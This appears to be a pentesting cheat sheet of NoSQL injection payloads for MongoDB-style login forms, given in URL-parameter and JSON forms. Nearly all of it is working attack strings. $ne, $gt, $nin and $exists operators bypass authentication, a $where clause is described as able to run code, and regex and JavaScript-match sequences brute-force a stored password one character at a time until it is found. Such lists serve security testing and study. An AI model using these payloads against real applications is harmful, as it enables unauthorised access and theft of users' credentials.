NoSQL Injection Commands Exploits

username[$ne]=1$password[$ne]=1 #<Not Equals>

username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter

username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value

username[$eq]=admin&password[$ne]=1 #<Equals>

username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users

username[$ne]=admin&pass[$gt]=s #<Greater Than>

username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)

{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

#in URL

username[$ne]=toto&password[$ne]=toto

username[$regex]=.\*&password[$regex]=.\*

username[$exists]=true&password[$exists]=true

#in JSON

{"username": {"$ne": null}, "password": {"$ne": null} }

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }

{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

username[$ne]=toto&password[$regex]=.{1}

username[$ne]=toto&password[$regex]=.{3}

# True if the length equals 1,3...

in URL (if length == 3)

username[$ne]=toto&password[$regex]=a.{2}

username[$ne]=toto&password[$regex]=b.{2}

...

username[$ne]=toto&password[$regex]=m.{2}

username[$ne]=toto&password[$regex]=md.{1}

username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.\*

username[$ne]=toto&password[$regex]=md.\*

in JSON

{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}

{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}

{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

/?search=admin' && this.password%00 --> Check if the field password exists

/?search=admin' && this.password && this.password.match(/.\*/)%00 --> start matching password

/?search=admin' && this.password && this.password.match(/^a.\*$/)%00

/?search=admin' && this.password && this.password.match(/^b.\*$/)%00

/?search=admin' && this.password && this.password.match(/^c.\*$/)%00

...

/?search=admin' && this.password && this.password.match(/^duvj.\*$/)%00

...

/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found